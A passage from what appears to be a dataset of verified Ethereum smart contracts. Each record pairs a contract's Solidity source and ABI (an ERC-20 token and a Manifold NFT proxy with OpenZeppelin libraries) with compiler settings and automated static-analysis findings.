utability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newfreeMints","type":"uint256"}],"name":"setFreeMints","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSupply","type":"uint256"}],"name":"setSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newpxMAYCPrice","type":"uint256"}],"name":"setpxMAYCPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | false | 200 | Default | MIT | false | ipfs://90b385c137861039b2d090a8b47bb3d6255ca46fd0560139fab3084463aafa4e |
|||
FreedomBonusPointToken | 0x3b2ba8f39fb1fd09782401cbe470798bb87045ea | Solidity | // File: EIP20Interface.sol
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.21;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// File: FreedomBonusPointToken.sol
/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
.*/
pragma solidity ^0.4.21;
import "./EIP20Interface.sol";
contract FreedomBonusPointToken is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function FreedomBonusPointToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["21"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["109", "108", "111", "100", "99"]}] | [{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EIP20Interface.sol": [34], "FreedomBonusPointToken.sol": [47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EIP20Interface.sol": [45], "FreedomBonusPointToken.sol": [69, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EIP20Interface.sol": [27], "FreedomBonusPointToken.sol": [39, 40, 41, 42, 43, 44, 45]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EIP20Interface.sol": [21], "FreedomBonusPointToken.sol": [59, 60, 61]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"EIP20Interface.sol": [40], "FreedomBonusPointToken.sol": [64, 65, 66, 67, 63]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [6]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"EIP20Interface.sol": [3]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [69, 70, 71], "EIP20Interface.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [39]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [63]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [47]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [39]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [69]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [59]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [47]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [63]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [47]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FreedomBonusPointToken.sol": [69]}}] | [] | [{"rule": "SOLIDITY_ERC20_APPROVE", "line": 121, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 64, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 71, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 86, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 88, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_initialAmount","type":"uint256"},{"name":"_tokenName","type":"string"},{"name":"_decimalUnits","type":"uint8"},{"name":"_tokenSymbol","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.21+commit.dfe3193c | false | 200 | 00000000000000000000000000000000000000000000000000071afd498d00000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001646726565646f6d426f6e7573506f696e74546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000044642505400000000000000000000000000000000000000000000000000000000 | Default | GNU GPLv2 | false | bzzr://4ab30b46452b2cb03e526a3a0164dde4c3f601d20450c47b54d2b97ed3d45589 |
||
MARIL | 0xf755956347677bd9b05d921c8761c6e82500c65d | Solidity | // File: contracts/MARIL.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: MARILSOLSTICE
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////
// //
// //
// ╒╙ ╡╜┤╢╢╝└ ╢╢╢╢╢╢╢╢═ ┌ ├║║╢╢╢╢╢╢╢╢╢╜╚╜┘╒┤╙╜═─ //
// ╢ ╢╜╢╢╩ ╙╢╢╢╢╢╝╕ ╕┐╓╓┌╓ ─ ─ ╖╓┬╓ ┌┤╢╢║╢╢╢╢╢╢╢╢╢╢╝╢╜└└╢╖ //
// ╢╣╢╢╢╢╢╚╙╜╢╢╢╢╢╢╕┘ ╖╗╗╦╙╓║┐╓ ╡╜│╢╬╣╦ ╕╠├╢╢╢╢╢╢╙╝╢╢╢╢╛┘└└┐╢╚ //
// ╓╢╡╢║╢╢╓ ╔╢╢╢╢╢╢╢╢╢╬╙╙╜╢║╢╔ ┌╪╣╡╢╢╜╝╢╣╢╕╢║╢╢╢╬═ ╡╢╢╖╖ └╢╓ //
// ╢┘ ╒╢ ╢║╠╔╒╢╢╢╢╢╢╣╣╣╪ ┌╢╢╢╬ ╢╢╙╢╓ ╞╢╜╜╡╢╢╢╢╬┐ ╢╢╢╢╬╖╦╗╔ ╘┐ //
// ╓╪ ╢╩ └╞╖╢╢╢╢╣╢╢║╢╛ └╝╢ │ ├╢╢╢╢╢┼╓╢╢╖ ║┘ └╕ ╣ //
// └─ ║╢╢╢╢╢╢╢╢╢═ └└╓ ╓ ╖ ╓╢╢╢╢╢╢╢╢╢╢╓ ║ ╗ //
// ╓┴║╢╢║╢╢╢╢╢╣╠ ─└╜ └╝╝┘ └╣╢╢╢╢╢╢╩╙╣╙┐┐ ╙ //
// ┌╡╢║╜╞╓╢╢╢╢╢═└ ┌╓ ┌╓╓ ╓╢╢╢╢╢╢╩ └╙╖╖└┐ └ ┘ //
// ╒╢╦╝ ╤╢╢╢╢╣╡╢ ┌╗╜└╙└╢ ╠╞═╓ ╢╢╢╜╢╢╢ ╣║┘ //
// ├ ╣╢╢╢╢╢╣╣ ║╬┌ ╚ ╠ ║╓╢╜┌ ╓╢╢╩ ╢╣═ ╢ │ //
// ╓╓╓╓╢╜╙╣╣╢╢╢╢╢╖ └╚╢╢╜╜╜╜┘ ╓ ╣╢╢ ╞╜ └─ ╒ //
// └ └╚╣║╢╠╢╧ ┘── ─││╢╢ ╢╕ └ //
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ //
// | M | A | R | I | L | S | O | L | S | T | I | C | E | //
// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ //
// //
// //
////////////////////////////////////////////////////////////////////////////////
contract MARIL is ERC721Creator {
constructor() ERC721Creator("MARILSOLSTICE", "MARIL") {}
}
// File: contracts/ERC721Creator.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// File: @openzeppelin/contracts/proxy/Proxy.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/StorageSlot.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
| [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["374"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [64, 62, 63]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [72, 73, 71]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [80, 81, 82]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [53, 54, 55]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [79, 80, 81, 82, 83]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [64, 65, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [70, 71, 72, 73, 74]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [52, 53, 54, 55, 56]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/StorageSlot.sol": [4]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 62, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 64, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 462, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 471, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 480, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 489, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 8, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 50, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 96, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 187, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 414, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 462, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 471, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 480, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 489, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 115, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 463, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 472, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 481, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 490, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 40, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 60, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 159, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 160, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 160, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 243, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 244, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 244, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 244, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 244, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 246, "severity": 1}, 